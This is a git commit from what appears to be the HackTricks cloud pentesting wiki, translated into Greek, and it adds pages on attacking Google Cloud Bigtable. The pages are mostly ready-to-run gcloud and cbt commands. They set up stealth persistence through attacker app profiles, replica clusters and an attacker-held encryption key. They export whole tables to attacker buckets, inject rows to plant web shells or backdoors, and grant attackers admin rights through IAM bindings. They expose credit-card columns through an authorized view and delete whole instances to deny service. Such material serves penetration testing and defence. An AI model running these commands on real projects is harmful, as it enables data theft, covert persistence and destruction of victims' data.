Translated ['src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable

This commit is contained in:
Translator
2025-11-19 14:47:35 +00:00
parent 3940ebf695
commit b88917ea66
4 changed files with 500 additions and 2 deletions

View File

@@ -0,0 +1,52 @@
# GCP - Bigtable Επίμονη πρόσβαση
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Για περισσότερες πληροφορίες σχετικά με το Bigtable δείτε:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### Αφιερωμένο App Profile επιτιθέμενου
**Δικαιώματα:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
Δημιουργήστε ένα app profile που δρομολογεί την κίνηση στο replica cluster σας και ενεργοποιήστε το Data Boost ώστε να μην εξαρτάστε ποτέ από provisioned nodes που οι αμυνόμενοι μπορεί να παρατηρήσουν.
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"
gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
Όσο υπάρχει αυτό το προφίλ, μπορείτε να επανασυνδεθείτε χρησιμοποιώντας νέα διαπιστευτήρια που αναφέρονται σε αυτό.
### Διατηρήστε το δικό σας replica cluster
**Δικαιώματα:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
Δημιουργήστε ένα cluster με ελάχιστο αριθμό κόμβων σε μια ήσυχη περιοχή. Ακόμα και αν οι ταυτότητες των client σας εξαφανιστούν, **το cluster διατηρεί ένα πλήρες αντίγραφο κάθε πίνακα** μέχρι οι αμυνόμενοι να το αφαιρέσουν ρητά.
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
Παρακολούθησέ το μέσω `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` ώστε να μπορείς να κλιμακώσεις αμέσως όταν χρειαστεί να τραβήξεις δεδομένα.
### Κλείδωσε την αναπαραγωγή πίσω από το δικό σου CMEK
**Δικαιώματα:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
Χρησιμοποίησε το δικό σου KMS key όταν στήνεις ένα clone. Χωρίς αυτό το key, Google δεν μπορεί να επαναδημιουργήσει ή να κάνει fail over το cluster, οπότε οι blue teams πρέπει να συντονιστούν μαζί σου πριν το αγγίξουν.
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
Ανανεώστε ή απενεργοποιήστε το κλειδί στο έργο σας για να καταστήσετε αμέσως μη λειτουργικό το αντίγραφο (ενώ σας επιτρέπει να το ενεργοποιήσετε ξανά αργότερα).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,252 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Για περισσότερες πληροφορίες σχετικά με το Bigtable δείτε:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> Εγκαταστήστε το `cbt` CLI μία φορά μέσω του Cloud SDK ώστε οι εντολές παρακάτω να λειτουργούν τοπικά:
>
> ```bash
> gcloud components install cbt
> ```
### Ανάγνωση γραμμών
**Δικαιώματα:** `bigtable.tables.readRows`
`cbt` συνοδεύεται από το Cloud SDK και επικοινωνεί με τα admin/data APIs χωρίς να χρειάζεται ενδιάμεσο λογισμικό. Δείξτε το στο συμβιβασμένο project/instance και εξάγετε τις γραμμές απευθείας από τον πίνακα. Περιορίστε τη σάρωση αν θέλετε μόνο μια γρήγορη ματιά.
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### Εγγραφή σειρών
**Δικαιώματα:** `bigtable.tables.mutateRows`, (θα χρειαστείτε `bigtable.tables.readRows` για να επιβεβαιώσετε την αλλαγή).
Χρησιμοποιήστε το ίδιο εργαλείο για να upsert arbitrary cells. Αυτός είναι ο ταχύτερος τρόπος για να backdoor configs, drop web shells, ή να plant poisoned dataset rows.
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` αποδέχεται raw bytes μέσω της σύνταξης `@/path`, οπότε μπορείτε να push compiled payloads ή serialized protobufs ακριβώς όπως τα αναμένουν οι downstream services.
### Εξαγωγή γραμμών στο bucket σας
**Δικαιώματα:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Είναι δυνατόν να εξαχθεί το περιεχόμενο ενός ολόκληρου πίνακα σε ένα bucket που ελέγχεται από τον επιτιθέμενο, εκκινώντας μια εργασία Dataflow που γράφει τις γραμμές σε ένα GCS bucket που ελέγχετε.
> [!NOTE]
> Σημειώστε ότι θα χρειαστείτε την άδεια `iam.serviceAccounts.actAs` σε κάποιο SA με επαρκή δικαιώματα για να πραγματοποιήσει την εξαγωγή (εξ ορισμού, αν δεν υποδειχθεί διαφορετικά, θα χρησιμοποιηθεί το προεπιλεγμένο compute SA).
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> Αλλάξτε το template σε `Cloud_Bigtable_to_GCS_Parquet` ή `Cloud_Bigtable_to_GCS_SequenceFile` αν θέλετε εξαγωγές σε Parquet/SequenceFile αντί για JSON. Οι άδειες είναι οι ίδιες· αλλάζει μόνο το path του template.
### Εισαγωγή γραμμών
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Είναι δυνατό να εισαχθεί το περιεχόμενο ολόκληρου ενός table από ένα bucket που ελέγχει ο attacker, εκκινούμενος μια Dataflow job που μεταφέρει (streams) γραμμές σε ένα GCS bucket που ελέγχετε. Για αυτό, ο attacker θα χρειαστεί πρώτα να δημιουργήσει ένα parquet file με τα δεδομένα που θα εισαχθούν και το αναμενόμενο schema. Ο attacker μπορεί πρώτα να εξαγάγει τα δεδομένα σε μορφή parquet ακολουθώντας την προηγούμενη τεχνική με τη ρύθμιση `Cloud_Bigtable_to_GCS_Parquet` και να προσθέσει νέες εγγραφές στο κατεβασμένο parquet file
> [!NOTE]
> Σημειώστε ότι θα χρειαστείτε την άδεια `iam.serviceAccounts.actAs` πάνω σε κάποιο SA με επαρκή permissions για να εκτελέσει την εξαγωγή (by default, αν δεν υποδειχθεί διαφορετικά, το default compute SA θα χρησιμοποιηθεί).
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### Επαναφορά backups
**Δικαιώματα:** `bigtable.backups.restore`, `bigtable.tables.create`.
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να επαναφέρει ένα backup σε νέο πίνακα υπό τον έλεγχό του, ώστε να ανακτήσει παλιά ευαίσθητα δεδομένα.
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### Ανάκτηση διαγραμμένων πινάκων
**Δικαιώματα:** `bigtable.tables.undelete`
Το Bigtable υποστηρίζει soft-deletion με χρονικό περιθώριο χάριτος (συνήθως 7 ημέρες από προεπιλογή). Εντός αυτού του παραθύρου, ένας attacker με το δικαίωμα `bigtable.tables.undelete` μπορεί να επαναφέρει έναν πρόσφατα διαγραμμένο πίνακα και να ανακτήσει όλα τα δεδομένα του, ενδεχομένως αποκτώντας πρόσβαση σε ευαίσθητες πληροφορίες που θεωρούνταν κατεστραμμένες.
Αυτό είναι ιδιαίτερα χρήσιμο για:
- Ανάκτηση δεδομένων από πίνακες που διαγράφηκαν από defenders κατά την incident response
- Πρόσβαση σε ιστορικά δεδομένα που εκκαθαρίστηκαν σκόπιμα
- Αναστροφή τυχαίων ή κακόβουλων διαγραφών για διατήρηση persistence
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> Η λειτουργία undelete λειτουργεί μόνο εντός της ρυθμισμένης περιόδου διατήρησης (προεπιλογή 7 ημέρες). Αφού λήξει αυτό το διάστημα, ο πίνακας και τα δεδομένα του διαγράφονται οριστικά και δεν μπορούν να ανακτηθούν με αυτή τη μέθοδο.
### Δημιουργία εξουσιοδοτημένων προβολών
**Δικαιώματα:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Οι εξουσιοδοτημένες προβολές σάς επιτρέπουν να παρουσιάζετε ένα επιλεγμένο υποσύνολο του πίνακα. Αντί να τηρείτε την αρχή του ελάχιστου προνομίου, χρησιμοποιήστε τες για να δημοσιεύσετε ακριβώς τα ευαίσθητα σύνολα στηλών/σειρών που σας ενδιαφέρουν και να προσθέσετε στη λευκή λίστα τη δική σας principal.
> [!WARNING]
> Το θέμα είναι ότι για να δημιουργήσετε μια εξουσιοδοτημένη προβολή πρέπει επίσης να μπορείτε να διαβάζετε και να τροποποιείτε σειρές στον βασικό πίνακα, επομένως δεν αποκτάτε κανένα επιπλέον δικαίωμα — για αυτό η τεχνική αυτή είναι στην πράξη σχεδόν άχρηστη.
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
Επειδή η πρόσβαση περιορίζεται στην προβολή, οι υπεύθυνοι ασφάλειας συχνά παραβλέπουν το γεγονός ότι μόλις δημιουργήσατε ένα νέο endpoint υψηλής ευαισθησίας.
### Ανάγνωση Authorized Views
**Δικαιώματα:** `bigtable.authorizedViews.readRows`
Εάν έχετε πρόσβαση σε ένα Authorized View, μπορείτε να διαβάσετε δεδομένα από αυτό χρησιμοποιώντας τις βιβλιοθήκες πελάτη του Bigtable, καθορίζοντας το όνομα του Authorized View στα αιτήματα ανάγνωσής σας. Σημειώστε ότι το Authorized View πιθανόν θα περιορίζει τι μπορείτε να προσπελάσετε από τον πίνακα. Παρακάτω υπάρχει ένα παράδειγμα χρησιμοποιώντας Python:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service via Delete Operations
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Οποιαδήποτε από τις δικαιοδοσίες διαγραφής του Bigtable μπορεί να χρησιμοποιηθεί για επιθέσεις denial of service. Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να διαταράξει τις λειτουργίες διαγράφοντας κρίσιμους πόρους του Bigtable:
- **`bigtable.appProfiles.delete`**: Διαγραφή application profiles, διακόπτοντας τις συνδέσεις πελατών και τις ρυθμίσεις δρομολόγησης
- **`bigtable.authorizedViews.delete`**: Αφαίρεση authorized views, αποκόπτοντας νόμιμες οδούς πρόσβασης για εφαρμογές
- **`bigtable.authorizedViews.deleteTagBinding`**: Αφαίρεση tag bindings από τα authorized views
- **`bigtable.backups.delete`**: Καταστροφή backup snapshots, εξαλείφοντας τις επιλογές disaster recovery
- **`bigtable.clusters.delete`**: Διαγραφή ολόκληρων clusters, προκαλώντας άμεση μη διαθεσιμότητα δεδομένων
- **`bigtable.instances.delete`**: Αφαίρεση ολόκληρων Bigtable instances, διαγράφοντας όλους τους πίνακες και τις ρυθμίσεις
- **`bigtable.tables.delete`**: Διαγραφή μεμονωμένων tables, προκαλώντας απώλεια δεδομένων και αποτυχίες εφαρμογών
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> Οι ενέργειες διαγραφής είναι συχνά άμεσες και μη αναστρέψιμες. Βεβαιωθείτε ότι υπάρχουν αντίγραφα ασφαλείας πριν δοκιμάσετε αυτές τις εντολές, καθώς μπορούν να προκαλέσουν μόνιμη απώλεια δεδομένων και σοβαρή διακοπή υπηρεσίας.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,106 @@
# GCP - Bigtable Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Για περισσότερες πληροφορίες σχετικά με το Bigtable, δείτε:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### `bigtable.instances.setIamPolicy`
**Δικαιώματα:** `bigtable.instances.setIamPolicy` (και συνήθως `bigtable.instances.getIamPolicy` για να διαβάσετε τις τρέχουσες δεσμεύσεις).
Η κατοχή της πολιτικής IAM του instance σας επιτρέπει να χορηγήσετε στον εαυτό σας **`roles/bigtable.admin`** (ή οποιονδήποτε προσαρμοσμένο ρόλο), ο οποίος επεκτείνεται σε κάθε cluster, πίνακα, αντίγραφο ασφαλείας και εξουσιοδοτημένη προβολή στην instance.
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> Εάν δεν μπορείτε να απαριθμήσετε τα υπάρχοντα bindings, δημιουργήστε ένα νέο policy document και ανεβάστε το με `gcloud bigtable instances set-iam-policy` αρκεί να διατηρήσετε τα δικαιώματά σας επάνω σε αυτό.
Αφού αποκτήσετε αυτήν την άδεια ελέγξτε την [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για τεχνικές και περισσότερους τρόπους εκμετάλλευσης των δικαιωμάτων του Bigtable.
### `bigtable.tables.setIamPolicy`
**Δικαιώματα:** `bigtable.tables.setIamPolicy` (προαιρετικά `bigtable.tables.getIamPolicy`).
Οι πολιτικές του instance μπορούν να κλειδωθούν ενώ οι μεμονωμένοι πίνακες εκχωρούνται ξεχωριστά. Αν μπορείτε να επεξεργαστείτε το IAM του πίνακα, μπορείτε να **αναβαθμίσετε τον εαυτό σας σε ιδιοκτήτη του στοχευόμενου dataset** χωρίς να επηρεάσετε άλλα workloads.
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Αφού αποκτήσετε αυτήν την άδεια, ελέγξτε την [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για περισσότερους τρόπους κατάχρησης των δικαιωμάτων Bigtable.
### `bigtable.backups.setIamPolicy`
**Δικαιώματα:** `bigtable.backups.setIamPolicy`
Τα backups μπορούν να αποκατασταθούν σε **οποιαδήποτε instance σε οποιοδήποτε project** που ελέγχετε. Πρώτα, δώστε στην ταυτότητά σας πρόσβαση στο backup, και στη συνέχεια αποκαταστήστε το σε ένα sandbox όπου κατέχετε ρόλους Admin/Owner.
Αν έχετε το δικαίωμα `bigtable.backups.setIamPolicy`, μπορείτε να χορηγήσετε στον εαυτό σας το δικαίωμα `bigtable.backups.restore` για να αποκαταστήσετε παλιά backups και να προσπαθήσετε να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Αφού αποκτήσετε αυτήν την άδεια, ανατρέξτε στην [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να δείτε πώς να επαναφέρετε ένα backup.
### Ενημέρωση authorized view
**Δικαιώματα:** `bigtable.authorizedViews.update`
Τα Authorized Views προορίζονται να αποκρύπτουν γραμμές/στήλες. Η τροποποίησή τους ή η διαγραφή τους **αφαιρεί τους λεπτομερείς περιορισμούς ασφαλείας** στους οποίους βασίζονται οι αμυνόμενοι.
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings
# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF
# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
Αφού έχετε αυτό το δικαίωμα, δείτε την [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να μάθετε πώς να διαβάζετε από ένα authorized view.
### `bigtable.authorizedViews.setIamPolicy`
**Δικαιώματα:** `bigtable.authorizedViews.setIamPolicy`.
Ένας επιτιθέμενος με αυτό το δικαίωμα μπορεί να χορηγήσει στον εαυτό του πρόσβαση σε ένα Authorized View, το οποίο μπορεί να περιέχει ευαίσθητα δεδομένα στα οποία διαφορετικά δεν θα είχε πρόσβαση.
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
Αφού γίνει αυτός ο έλεγχος δικαιωμάτων στην [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να δείτε πώς να διαβάσετε από μια εξουσιοδοτημένη προβολή.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,70 @@
{{#include ../../../banners/hacktricks-training.md}}
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
## Bigtable
Μια πλήρως διαχειριζόμενη, κλιμακούμενη υπηρεσία βάσης δεδομένων NoSQL για μεγάλες αναλυτικές και λειτουργικές φορτίσεις εργασίας με έως και 99.999% διαθεσιμότητα. [Learn more](https://cloud.google.com/bigtable).
Google Cloud Bigtable είναι μια πλήρως διαχειριζόμενη, κλιμακούμενη βάση δεδομένων NoSQL σχεδιασμένη для εφαρμογές που απαιτούν εξαιρετικά υψηλό throughput και πολύ χαμηλή καθυστέρηση. Έχει σχεδιαστεί για να διαχειρίζεται τεράστιους όγκους δεδομένων — petabytes σε χιλιάδες nodes — παρέχοντας ταυτόχρονα γρήγορη απόδοση ανάγνωσης και εγγραφής. Το Bigtable είναι ιδανικό για φόρτους εργασίας όπως time-series data, IoT telemetry, financial analytics, personalization engines και μεγάλων διαστάσεων λειτουργικές βάσεις δεδομένων. Χρησιμοποιεί ένα αραιό, κατανεμημένο, πολυδιάστατο ταξινομημένο map ως το υποκείμενο μοντέλο αποθήκευσης, κάτι που το κάνει αποδοτικό στην αποθήκευση wide tables όπου πολλές στήλες μπορεί να είναι κενές. [Learn more](https://cloud.google.com/bigtable).
### Hierarchy
1. **Bigtable Instance**
Μια Bigtable instance είναι ο κορυφαίος πόρος που δημιουργείτε.
Δεν αποθηκεύει δεδομένα από μόνη της — σκεφτείτε την σαν ένα λογικό κοντέινερ που ομαδοποιεί τα clusters και τα tables σας.
Two types of instances exist:
- Development instance (single-node, cheap, not for production)
- Production instance (can have multiple clusters)
2. **Clusters**
Ένα cluster περιέχει τους πραγματικούς υπολογιστικούς και αποθηκευτικούς πόρους που χρησιμοποιούνται για την εξυπηρέτηση των δεδομένων του Bigtable.
- Κάθε cluster βρίσκεται σε μία μόνο region.
- Αποτελείται από nodes, που παρέχουν CPU, RAM και δικτυακή χωρητικότητα.
- Μπορείτε να δημιουργήσετε multi-cluster instances για υψηλή διαθεσιμότητα ή global reads/writes.
- Τα δεδομένα αναπαράγονται αυτόματα μεταξύ clusters στο ίδιο instance.
Important:
- Τα tables ανήκουν στο instance, όχι σε ένα συγκεκριμένο cluster.
- Τα clusters απλώς παρέχουν τους πόρους για την εξυπηρέτηση των δεδομένων.
3. **Tables**
Ένας table στο Bigtable είναι παρόμοιος με ένα table σε NoSQL βάσεις δεδομένων:
- Τα δεδομένα αποθηκεύονται σε rows, που αναγνωρίζονται από ένα row key.
- Κάθε row περιέχει column families, οι οποίες περιέχουν columns.
- Είναι αραιό: τα κενά cells δεν καταναλώνουν χώρο.
- Το Bigtable αποθηκεύει τα δεδομένα ταξινομημένα λεξικογραφικά με βάση το row key.
Τα tables εξυπηρετούνται από όλα τα clusters στο instance.
4. **Tablets (and Hot Tablets)**
Το Bigtable χωρίζει κάθε table σε οριζόντιες κατατμήσεις που ονομάζονται tablets. Ένα tablet είναι:
- Ένα συνεχές εύρος row keys.
- Αποθηκεύεται σε έναν μόνο node σε κάθε δεδομένη στιγμή.
- Τα tablets χωρίζονται, συγχωνεύονται και μετακινούνται αυτόματα από το Bigtable.
Ένα **hot tablet** συμβαίνει όταν:
- Πάρα πολλές αναγνώσεις ή εγγραφές χτυπούν το ίδιο εύρος row-key (ίδιο tablet).
- Αυτό το συγκεκριμένο tablet/node υπερφορτώνεται.
- Αυτό οδηγεί σε hotspots (στένωση απόδοσης).
5. **Authorized Views**
Τα Authorized Views σας επιτρέπουν να δημιουργήσετε ένα υποσύνολο των δεδομένων ενός table που μπορεί να κοινοποιηθεί σε συγκεκριμένους χρήστες ή εφαρμογές χωρίς να τους δοθεί πρόσβαση σε ολόκληρο το table. Αυτό είναι χρήσιμο για:
- Περιορισμό πρόσβασης σε ευαίσθητα δεδομένα.
- Παροχή read-only πρόσβασης σε συγκεκριμένες στήλες ή σειρές.
6. **App Profiles**
Ένα App Profile στο Bigtable είναι μια ρύθμιση που ορίζει πώς μια συγκεκριμένη εφαρμογή ή client πρέπει να αλληλεπιδρά με ένα Bigtable instance, ειδικά σε περιβάλλοντα με πολλαπλά clusters. Ελέγχει τη συμπεριφορά routing — αν τα αιτήματα πρέπει να κατευθύνονται σε ένα μόνο cluster ή να διανεμηθούν μεταξύ πολλαπλών clusters για υψηλή διαθεσιμότητα — και καθορίζει πώς αντιγράφονται οι εγγραφές, επιλέγοντας μεταξύ synchronous (ισχυρότερη συνέπεια) ή asynchronous (χαμηλότερη καθυστέρηση) modes.
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
gcloud bigtable clusters list
gcloud bigtable clusters describe <cluster>
## Tables
gcloud bigtable tables list --instance <INSTANCE>
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
## Backups
gcloud bigtable backups list --instance <INSTANCE>
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
## App Profiles
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
## Authorized Views
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
```
## Αναβάθμιση δικαιωμάτων
{{#ref}}
../gcp-privilege-escalation/gcp-bigtable-privesc.md
{{#endref}}
## Μετά-εκμετάλλευση
{{#ref}}
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
{{#endref}}
## Διατήρηση πρόσβασης
{{#ref}}
../gcp-persistence/gcp-bigtable-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}